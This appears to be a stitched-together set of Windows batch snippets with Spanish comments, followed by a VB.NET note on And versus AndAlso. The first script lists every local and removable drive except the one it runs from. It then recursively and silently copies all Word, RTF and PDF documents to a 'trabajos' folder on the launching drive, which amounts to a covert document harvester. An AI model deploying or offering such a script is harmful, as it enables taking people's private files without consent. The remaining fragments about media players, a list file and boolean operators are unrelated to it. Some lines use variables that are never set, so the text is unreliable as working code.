@ECHO OFF & CHCP 1252 1>NUL
 
:: INFO:
::
:: # WMI Class Win32_LogicalDisk Help
::
:: Drivetype 2: Removable
:: Drivetype 3: Local hard disk
 
REM Filtro el output del comando WMIC.
For /F %%# in (
	'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
) Do (
	REM Saco las letras de los dispositivos disponibles.
	Call Set "DRIVES=%%DRIVES%%%%#"
)
 
REM Elimino la letra de unidad desde la que se inició este Script Bat.
Call Set "DRIVES=%%DRIVES:%~d0=%%"
 
REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
Set "DRIVES=%DRIVES::= %"
 
REM Por último, proceso cada letra de unidad.
For %%D in (%DRIVES%) Do (
 
	Echo [+] Procesando unidad "%%D:\" | MORE
 
	FOR /R "%%D:\" %%# IN (
		"*.doc","*.d0cx","*.rtf","*.pdf"
	)  DO  (
		Echo "%%~#"
		Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
	)
 
)
 
Pause&Exit

Start /B "" "%PROGRAMFILES(X86)%\Winamp\winamp.exe" /ADD "%Playlist%" || (Exit /B 1)

Start /B "" "Ruta de MediaPlayerClassic HomeCinema.exe" /Open "%Playlist%" || (Exit /B 1)

set "ruta1=.\Files"

FOR /F "usebackq= delims=" %%A IN ("%anime%.txt") DO (Echo.%%A) | MORE

set /p "borrar=>"
if not defined code goto resetdel

&& = AndAlso
|| = OrElse

(<Boolean Value 1> Or <Boolean Value 2>) And <Boolean Value 3>

        Private str As String = Nothing
 
        ' Esto dará una excepción de referencia a objeto no establecida,
        ' Porque la segunda expresión se evalua de todas formas,
        ' y esta intentará leer la longitud de un objeto que es NADA.
        If str IsNot Nothing And str.Length <> 0 Then
            ' Blah blah blah
        End If
 
        ' Esto no dará ningún tipo de excepción,
        ' Porque la segunda expresión no se evaluará si la primera no se cumple.
        If str IsNot Nothing AndAlso str.Length <> 0 Then
            ' Blah blah blah
        End If